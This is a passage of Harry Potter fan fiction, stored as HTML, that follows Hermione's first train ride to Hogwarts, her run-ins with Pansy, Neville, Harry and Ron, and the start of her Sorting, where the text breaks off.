	(240, 2, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; This deals with Hermione&#8217;s train ride and\nwhat happened between the two times she entered Harry&#8217;s Cabin.&nbsp; We also see get to see Parvati and Lavender\nat their finest.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione threw\nanother set of clothes into the large trunk at the foot of her bed. &nbsp;&nbsp;She was packing to go to Hogwarts.&nbsp; She still had over a week before she had to\ngo, but she was too excited to wait.&nbsp; She\nwanted to see how much she could take with her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Throughout the\nweeks that followed their trip to Diagon Alley Hermione spent all of her free\ntime reading her text books and the other books she&#8217;d gotten from Flourish and Blott&#8217;s.&nbsp; She&#8217;d\nlearned a great deal and even practiced a few simple spells that she&#8217;d learned\nfrom &#8220;The Standard Book of Spells: Grade 1.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had also\nlearned about what it meant to be a muggle-born witch.&nbsp; At first, wizard and witches with no\ndiscernable magical lineage were shunned from the wizarding world.&nbsp; But over the last two thousand years, that\nway of thinking changed considerably.&nbsp;\nMuggle/Wizard marriages were also quite common as well.&nbsp; She was also pleased to learn that Hogwarts,\nsince its establishment four thousand years ago, had always accepted all\nmagical pupils regardless of lineage and from what she read about Albus\nDumbledore he was also a fan of good wizard/muggle relations.&nbsp; This made her feel much more comfortable\nabout her choice of school.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course their\nwere still witches and wizards out there with a much less progressive view of\nmuggles, muggle-born wizards and witches, and muggle/wizard coupling.&nbsp; Hermione only hoped that now that she had a\nbetter understanding of the wizarding world, she would fit in nicely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She also read up\non Magical History.&nbsp; She was intrigued to\nfind out that there had been actual magical wars fought through the years that\nmuggles weren&#8217;t even aware of.&nbsp; There was\neven a time when a master of the dark arts, Voldemort, was reeking\nhavoc, killing wizards and muggles alike, and trying to take over.&nbsp; He had been brought down only ten years ago\nby an unlikely hero: a baby boy named Harry Potter, the only known survivor of\nthe avada kedavra killing\ncurse.&nbsp; Voldemort had tried to use this\ncurse to kill the young boy but it simply rebounded back to him.&nbsp; However nobody knew if Voldemort was really\ndead and no one in the magical world ever spoke his name.&nbsp; Hermione decided against telling her parents\nthat only ten years prior the entire magical world was in turmoil and that the\nman responsible for this was still rumored to be around biding his time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She had of course\nread &#8220;Hogwarts: A History&#8221; several times over and now knew everything there was\nto know about the school, it&#8217;s heritage and it&#8217;s four school houses;\nGryffindor, Ravenclaw, Hufflepuff, and Slytherin.&nbsp; She knew without a doubt that she wanted to\nbe in Gryffindor.&nbsp; Dumbledore was in\nGryffindor and it seemed to be the type of house for those who wanted to\nexcel.&nbsp; Ravenclaw also seemed like a good\nfit; those in it seemed geared for studying and academics which is definitely\nwhere her father wanted her to go.&nbsp; But\nGryffindor seemed to offer more to Hermione.&nbsp;\nIt wasn&#8217;t just for those who wanted to excel academically, but excel in\ngeneral, take chances and really find out what they can do as a witch or\nwizard.&nbsp; That&#8217;s what Hermione really\nwanted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All in all,\nHermione was excited to be leaving and going off to Hogwarts, away from the\ntrauma of her earlier school years.&nbsp; She\nwas finally going to be around people who were like her.&nbsp; She knew that if she just tried hard enough,\nshe would be able to fit in and really be happy at the school.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The trunk was\nfinally full.&nbsp; She was packed.&nbsp; Now all she had to do was wait.&nbsp; In a week and a half she would be on the way\nto Hogwarts and her new life.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Platform 9 &#190;,\nDear: are you sure?&#8221; Mrs. Granger asked timidly as she, her husband, and\nHermione stood staring at the barrier between platform nine and platform ten at\nKing&#8217;s Cross Station.&nbsp; They were still\nconfused as to why Hermione had to take a train to Hogwarts when they had\nalready experienced the magic of instantaneous transport when they went to the\nsummer seminar.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m positive,&#8221;\nHermione said with a smile.&nbsp; She was\nalready wearing her wizards robes.&nbsp; She didn&#8217;t want to look out of place on the\ntrain but this did get her strange looks from some bystanders.&nbsp; &#8220;I read all about it in &#8216;What the Muggle\nCan&#8217;t See Won&#8217;t Hurt Him:&nbsp; A Guide to\nMuggle Proofing in the 20th Century.&#8217;&nbsp; Don&#8217;t worry; I&#8217;ll be perfectly fine.&nbsp; All I have to do is walk towards the barrier\nand I&#8217;ll pass right through.&nbsp; It&#8217;ll work\nfor me because I&#8217;m a witch.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stopped\nherself.&nbsp; She realized that she was\ntalking very quickly and spouting out unimportant facts.&nbsp; She was definitely becoming increasingly\nnervous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\nrecognized this trait too.&nbsp; She smiled down\nat her bushy-haired daughter. &#8220;Don&#8217;t worry Hermione; I&#8217;m sure everything will\nbe okay.&nbsp; Go ahead.&nbsp; I&#8217;m guessing we won&#8217;t be able to go in with\nyou so we&#8217;ll just say good-bye here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; She\nhugged both of her parents and then proceeded cautiously towards the barrier\npushing the trolley with her trunk.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few seconds\nlater, she was standing on platform 9 &#190; staring at the huge scarlet engine that\nwas the Hogwarts Express.&nbsp; There were\ndozens of other students pushing trunks as large as hers and she could hear the\nhooting of owls echoing all around the platform.&nbsp; It was utterly amazing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi I&#8217;ll take\nthat for you,&#8221; said a friendly attendant.&nbsp;\nHe took the trolley with her trunk on it. &#8220;You&#8217;d better get on the\ntrain.&nbsp; It\'ll be leaving in a few minutes\nand you know those cabins fill up fast.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh no,&#8221;</i>\nHermione thought wildly. <i>&#8220;I hadn&#8217;t even thought of who I&#8217;m going to sit\nwith.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Anxiety began to\nbuild as she looked around at all the little groups on the platform.&nbsp; It seemed like everyone already had\nfriends.&nbsp; She didn&#8217;t know anyone\nyet.&nbsp; What was she going to do?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Undaunted, she\nstepped into the train and began to look around.&nbsp; All of the compartment doors were\nclosed.&nbsp; She walked down the narrow\ncorridor until she finally decided to brave the unknown and open a door.&nbsp; To her relief, there were only two girls\nsitting in the compartment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, hi, my name\nis Hermione Granger.&nbsp; Can I sit in here?&#8221;\nshe asked timidly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose,&#8221; said\none of the girls. &#8220;My name is Pansy, she&#8217;s Millicent.&#8221;&nbsp; The other girl grunted but said nothing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave a\nhalf grin and sat down, wondering what she had gotten herself into.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Granger&#8230;&#8221; Pansy\nsaid slowly. &#8220;I&#8217;ve never heard of that wizarding family.&nbsp; Where are you from?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngulped.&nbsp; This is what she feared most.\n&#8220;Uh, well my family isn&#8217;t a wizarding family.&nbsp;\nSee my parents are muggles.&nbsp; I\njust found out this summer that I&#8217;m a witch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oooo, a mud-blood.&#8221; Pansy\nsnickered. Millicent joined in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed\nnervously.&nbsp; She had no idea what the girl\nwas talking about but she didn&#8217;t want to seem like an idiot.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sure a girl\nof your standing would fit well in Hufflepuff,&#8221; Pansy continued.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, uh\nactually I was hoping to get into Gryffindor.&nbsp;\nI read all about the four houses in &#8216;Hogwarts: A History&#8217; and I really\nthink that Gryffindor would be the best fit for me.&nbsp; I mean, after reading about Godrick\nGryffindor in &#8216;Great Witches and Wizards of the Old Era&#8217;&#8230;&#8221; Hermione realized\nshe was rambling again and stopped herself.&nbsp;\n&#8220;Anyway what house do you two want to be in?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Slytherin,&#8221;\nPansy answered without hesitance. &#8220;They&#8217;ve one the house cup the past six\nyears.&nbsp; Of course I can understand why\nyou wouldn&#8217;t want to be in Slytherin.&nbsp; I\nmean, a muggle-born like you definitely belongs in Gryffindor.&nbsp; You&#8217;ll fit right in.&#8221; She started giggling\nagain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt\nherself turning red.&nbsp; This definitely\nwasn&#8217;t going well.&nbsp; She had been around\ngirls like Pansy long enough to know when they were being insulting but she\nstill had no idea what a &#8220;mud-blood&#8221; was or what she had said or done to make\nPansy dislike her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh no, my\nstupid rambling has already gotten me in trouble,&#8221;</i> she thought.&nbsp; She decided to keep her mouth shut.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thankfully, Pansy\nsuddenly changed the subject. &#8220;I heard that Harry Potter is starting at Hogwarts\nthis year too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s ears\nperked.&nbsp; Harry Potter, the boy who lived,\nwas on the Hogwarts Express.&nbsp; She would\nbe going to school with a living legend.&nbsp;\nIn her summer reading she had read several books that mentioned the name\nof the baby boy who brought down the dark lord Voldemort, but she never\nrealized that he would be starting school the same year as her and at the same\nschool no less.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wondered if\nshe would be able to meet him or even talk to him just once.&nbsp; He was bound to be the most popular boy in\nthe entire school.&nbsp; He probably already\nhad a ton of friends.&nbsp; Why would he want\nto associate with a stupid little nothing muggle-born witch when he was on his\nway to probably being the greatest wizard in the modern era?&nbsp; Still, just to be able to see him would be\nsomething.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let all of these thoughts float in her head as Pansy prattled\non. &#8220;&#8230; and just because of some fluke when he was a baby, he&#8217;ll probably get\nspecial treatment from the professors.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione realized\nvery quickly that Pansy didn&#8217;t seem to like anyone.&nbsp; She had been around enough people like her to\nknow that she wouldn&#8217;t be making any new friends here.&nbsp; Millicent didn&#8217;t seem to say much but judging\nfrom the way she laughed at everything Pansy said, this was definitely a lost\ncause.&nbsp; She would have given anything for\nan excuse to leave.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As if in answer\nto her silent prayers, there was a knock on the door.&nbsp; A round face boy stuck his head in. &#8220;Excuse\nme, have you seen a toad.&nbsp; I seem to have\nlost mine,&#8221; he said in a sad sort of voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy laughed\nagain. &#8220;A toad!&nbsp;\nYou brought a toad!&nbsp; Well I can\nunderstand why it would run away.&nbsp;\nObviously it&#8217;s ashamed of having such a stupid master to deal with.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had had\njust about enough of Pansy&#8217;s snide remarks. &#8220;Oh shut it. &nbsp;I swear you don&#8217;t have a descent thing to say\nabout anyone.&#8221;&nbsp; She stood and pulled the\nboy out of the cabin. &#8220;Come on, I&#8217;ll help you find your toad.&#8221; She gave a quick\nlook back. &#8220;I did see two toads in here, but they&#8217;re both too ugly and foul\ntempered to be yours,&#8221; and with that she left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe\nthat girl,&#8221; Hermione mumbled furiously. &#8220;Thinking she&#8217;s better than everyone\nelse.&nbsp; Well I&#8217;ll show her.&nbsp; I may not be from a &#8216;wizarding family&#8217; but\nI&#8217;m just as much a witch as she is.&#8221;&nbsp; She\nsuddenly remembered that she was dragging the round face boy with her and he\nlooked extremely confused. &#8220;Oh I&#8217;m sorry.&nbsp;\nThose two just made me so mad.&nbsp; My\nname is Hermione Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville\nLongbottom,&#8221; the boy said.&nbsp; &#8220;Nice to meet you.&nbsp;\nThanks for helping me find Trevor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My toad,&#8221; he\nreminded her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh right,&#8221;\nHermione was still fuming over the incident.&nbsp;\nIt had put her in a terrible mood. &#8220;Well I guess we better get started\nthen.&#8221; She headed for another compartment door and slid the door open not\nhearing Neville&#8217;s protests of, &#8220;but I just tried there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inside the\ncompartment were two boys, one with glasses and straight black hair that seemed\nto go all over the place and another with flaming red hair who was holding a\nwand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Has anyone seen\na toad?&nbsp; Neville&#8217;s lost one.&#8221; She still\nhad a trace of irritation in her voice as a residual from her encounter with\nPansy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve already\ntold him we haven&#8217;t seen it,&#8221; the red headed boy said with a matching tone of\nirritation.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Hermione\ndidn&#8217;t really hear him because her attention was immediately drawn to the wand\nin the boy&#8217;s hand.&nbsp; Obviously the boy was\ndoing magic.&nbsp; This was the perfect\nopportunity to see how real wizards did magic.&nbsp;\n&#8220;Oh, are you doing magic?&nbsp; Let&#8217;s\nsee it then.&#8221;&nbsp; She sat down.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The red headed\nboy hesitated but then started in confidently saying &#8220;Sunshine, daisies, butter\nmellow, turn this stupid fat rat yellow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Right,&#8221;</i>\nthought Hermione.&nbsp; <i>&#8220;Now this boy&#8217;s\nmaking fun of me too.&nbsp; Like I&#8217;m supposed\nto believe that was a spell.&nbsp; Do I have\nmuggle-born stamped on my forehead or something?&nbsp; How can everyone tell? Maybe it&#8217;s my teeth.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione decided\nto show the boy that she wasn&#8217;t as stupid as she must look. &#8220;Are you sure\nthat&#8217;s a real spell?&#8221; she started, giving him a &#8220;you must be an idiot&#8221; look.\n&#8220;Well it&#8217;s not very good, is it?&nbsp; I&#8217;ve\ntried a few simple spells just for practice and it&#8217;s all worked for me.&nbsp; Nobody in my family&#8217;s magic at all,&#8221; she\nadded with satisfaction. &#8220;It was ever-such a surprised when I got my letter but\nI was ever-so pleased of course.&nbsp; I mean\nit&#8217;s the very best school of witchcraft there is, I&#8217;ve heard.&nbsp; I&#8217;ve learned all are course books by heart,\nof course.&nbsp; I just hope it will be\nenough.&nbsp; I&#8217;m Hermione Granger, by the\nway.&nbsp; Who are you?&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She realized all\ntoo late that instead of gloating her nervousness had\nkicked in once again and she was rambling, practically spilling out all of her\ninsecurities to these perfect strangers.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Hermione,\nshut up, just shut up for once.&nbsp; At this\nrate you&#8217;ll never make any friends.&#8221;</i>&nbsp;\nJudging by the look on the boy&#8217;s face she was right.&nbsp; He obviously thought she was an insane muggle\ngirl who needed to be sent home.&nbsp; She\nchanced a look at the other boy in the moment of silence.&nbsp; She couldn&#8217;t read his expression as clearly\nbut she felt like she was being drawn into his green eyes. <i>&#8220;He&#8217;s kind of\ncute.&nbsp; Maybe if I dig myself out of this\nhole I could&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m Ron\nWeasley,&#8221; the red headed one said, interrupting her thoughts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry Potter,&#8221;\nsaid the other boy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt\nfaint.&nbsp; She was glad she was sitting\ndown.&nbsp; She had just made a complete and\nutter fool of herself in front of the one person on the entire train that\nreally mattered.&nbsp; She opened her mouth to\nsay something, anything, that could put her in this boy&#8217;s good graces but she\nsoon regretted it as she heard herself talk.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you really?&#8221;\nshe started with fake surprise. &#8220;I know all about you of course.&nbsp; I got a few extra books for background\nreading and you&#8217;re in &#8216;Modern Magical History&#8217; and &#8216;The Rise and Fall of the Dark Arts&#8217; and &#8216;Great Wizarding events of the 20th\nCentury.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Am I?&#8221;&nbsp; Harry asked, looking dazed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At first,\nHermione thought he too was making fun of her. <i>&#8220;Of course he knows all of\nthis.&nbsp; It is him after all.&nbsp; I&#8217;m so stupid.&#8221;</i>&nbsp; But something in his green eyes, she couldn&#8217;t\nstop staring at them, told her that he was genuinely clueless.&nbsp; He wasn&#8217;t making fun of her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione opened\nher mouth again to try and start a real dialogue with him. &#8220;Goodness, you\ndidn&#8217;t know?&nbsp; I&#8217;d have found out\neverything I could if it was me.&nbsp; Do either\nof you know what house you&#8217;ll be in?&nbsp;\nI&#8217;ve been asking around and I hope I&#8217;m in Gryffindor.&nbsp; It sounds by far the best.&nbsp; I hear Dumbledore himself was in it.&nbsp; But I suppose Ravenclaw wouldn&#8217;t be too bad.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Rambling&#8230;\nrambling!&#8221; </i>Hermione screamed silently to herself. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anyway we better\ngo look for Neville&#8217;s toad,&#8221; she said finding her escape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville still\nstood silently in the doorway. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You two had\nbetter change.&nbsp; You know, I expect we&#8217;ll\nbe there soon.&#8221;&nbsp; She backed out of the\ndoor and closed it before turning around and collapsing against the wall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am so stupid,&#8221;\nshe muttered to herself.&nbsp; Neville had\nalready become occupied with searching for his toad again and was a few feet\naway from her now. &#8220;Why does that always happen to me when I&#8217;m nervous?&nbsp; I just made an idiot of myself in front of\nHarry Potter.&nbsp; Why me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She thought about\nher encounter with Harry Potter while she continued to help Neville in his\nsearch.&nbsp; He wasn\'t quite what she had\nexpected.&nbsp; She had imagined Harry Potter\nas a braggart who wouldn\'t have anything to do with a witch or wizard who\nwasn\'t as skilled as he was.&nbsp; The boy she\nmet was quiet, almost pensive.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But then again,\nthere was that red headed kid, Ron.&nbsp; He\ndefinitely had an ego problem.&nbsp; If that\nwas the kind of person the famous Harry Potter hung out with, there was no\nchance for someone like her to get close to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh well,&#8221;</i>\nshe thought. <i>&#8220;I&#8217;m sure I can make other friends.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At one point,\nHermione decided to take a detour to the front of the train to find the conductor.&nbsp; They were approaching the castle.&nbsp; The thought of actually being able to see\nHogwarts for the first time made her stomach jump.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, give him\nback!&#8221; Hermione heard Neville shout.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She snapped out\nof her thoughts and saw that down the hall, some taller boys were gathered\naround Neville.&nbsp; They were tossing\nsomething around, a toad.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\ndoing?&nbsp; Give that back to him,&#8221; she said\nas she ran down the corridor to face the bullies.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh and what are\nyou going to do about it.&#8221; One of the boys said, smirking at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221;\nanother boy answered for her. &#8220;She&#8217;s just a stupid little first year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; With that, he\ngrabbed the toad and started racing down the corridor.&nbsp; The others followed, screaming and shouting\nall the way.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gritted\nher teeth. &#8220;Stupid little first year am I?&#8221; She pulled\nout her wand.&nbsp; Her temper was\nrising.&nbsp; She had had enough of all of the\nteasing and torment that this trip had brought her.&nbsp; She raised her wand and muttered a few choice\nwords.&nbsp; Immediately a stream of blue fire\nflew from her wand to the boy with the toad.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was so shocked\nthat he dropped Trevor. &#8220;What the&#8230;&#8221; His robe caught on fire and he ran off to\nextinguish himself.&nbsp; His friends followed\nlaughing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville took off\nafter the toad. &#8220;Trevor, come back here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was more\nchaos in the corridor as several more people went running by her in all\ndirections.&nbsp; Hermione found herself once\nagain in the threshold of Harry and Ron&#8217;s compartment.&nbsp; She didn&#8217;t really know how she had gotten\nthere again but one look at the mess in the compartment told her something was\namiss.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What has been\ngoing on?&#8221; she asked concerned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But the red\nheaded boy, Ron, ignored her seemingly more concerned about a rat than her\nquestion.&nbsp; He started talking to Harry as\nif she weren&#8217;t even there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was then that\nshe realized that she hated this boy.&nbsp; At\nleast Pansy had the decency to be rude to her openly.&nbsp; Ron was the limit.&nbsp; He acted like she didn&#8217;t even exist and he\ntreated her like a moron.&nbsp; Since he was\nobviously Harry&#8217;s close friend, Hermione knew there was know way she could ever\nmake friends with him either.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned to\nlook at Harry, and found once again that she was trapped by his eyes.&nbsp; Something about them just seemed&#8230;\ndifferent.&nbsp;&nbsp; His expression always seemed\ninnocent and pure, but then why did he keep such horrid company?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can we help you\nwith something?&#8221; Ron asked impatiently, snapping Hermione out of her\nthoughts.&nbsp; She realized that she had been\nstanding there, staring like an idiot for several minutes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;d better hurry\nup and put your robes on,&#8221; she said with an equal tone of impatience. &#8220;I&#8217;ve\njust been up to the front to as the conductor and he says we&#8217;re nearly\nthere.&nbsp; You haven&#8217;t been fighting, have\nyou?&nbsp; You&#8217;ll be in trouble before we even\nget there.&#8221;&nbsp; <i>&#8220;And it&#8217;ll serve you\nright,&#8221;</i> she added silently.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Scabbers has\nbeen fighting, not us,&#8221; Ron retorted.&nbsp;\n&#8220;Would you mind leaving while we change?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione returned\nthe scowl.&nbsp; This had by far been the\nworst trip of her life. She wanted nothing more than to reach out and slap Ron\nbut instead she left saying, &#8220;Alright.&nbsp; I\nonly came in here because people outside are behaving very childishly, racing\nup and down the corridors. And you&#8217;ve got dirt on your nose, by the way.&nbsp; Did you know?&#8221; She added with a hint of\nsatisfaction in her voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Stupid git,&#8221; </i>she added mentally to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The train was\nslowing and as she started down the corridor to find another compartment to sit\nin, she made a vow to herself.&nbsp; She was\ngoing to be the best.&nbsp; There wouldn&#8217;t be\na witch or wizard at Hogwarts that could touch her.&nbsp; She would show them all: Pansy, Millicent, Ron, all of the stupid people she&#8217;d met so far.&nbsp; They&#8217;d rule the day they teased this\nmuggle-born witch.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reading it in a\nbook was nothing like experiencing it for herself in\nreal life.&nbsp; Standing there, in front of\nthe entire school for the sorting ritual was by far the worst form of torture\nshe had experienced all day.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All she could do\nto calm her nerves was continuously cycle through all the spells she had\nmemorized over the summer and hope that having all of this knowledge would\ntrick the sorting hat into thinking she was a fully fledged witch and not a\nmuggle-born.&nbsp; Then she&#8217;d have a chance of\ngetting her wish and becoming a part of Gryffindor.&nbsp; So tricking a hat that could read your mind\nwasn&#8217;t exactly the best plan in the world, but it was the only one she could\ncome up with.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Gryffindor!&#8221; the\nsorting hat shouted and the sandy haired boy, Seamus Finnigan,\nrushed off to the Gryffindor table.&nbsp; So\nfar he was the second Gryffindor to be named.&nbsp;\nLavender Brown was the first, and if Hermione wasn&#8217;t mistaken the next\nname that would be called would be&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Granger,\nHermione.&#8221; Professor McGonagall&#8217;s voice cut through her thoughts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\npractically ran to the stool and jammed the sorting hat on her head.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t\nhonestly think I&#8217;m that gullible,&#8221; said a voice in her ear. &#8220;I wasn&#8217;t enchanted\nyesterday, you know.&#8221;</p>\n\n<p 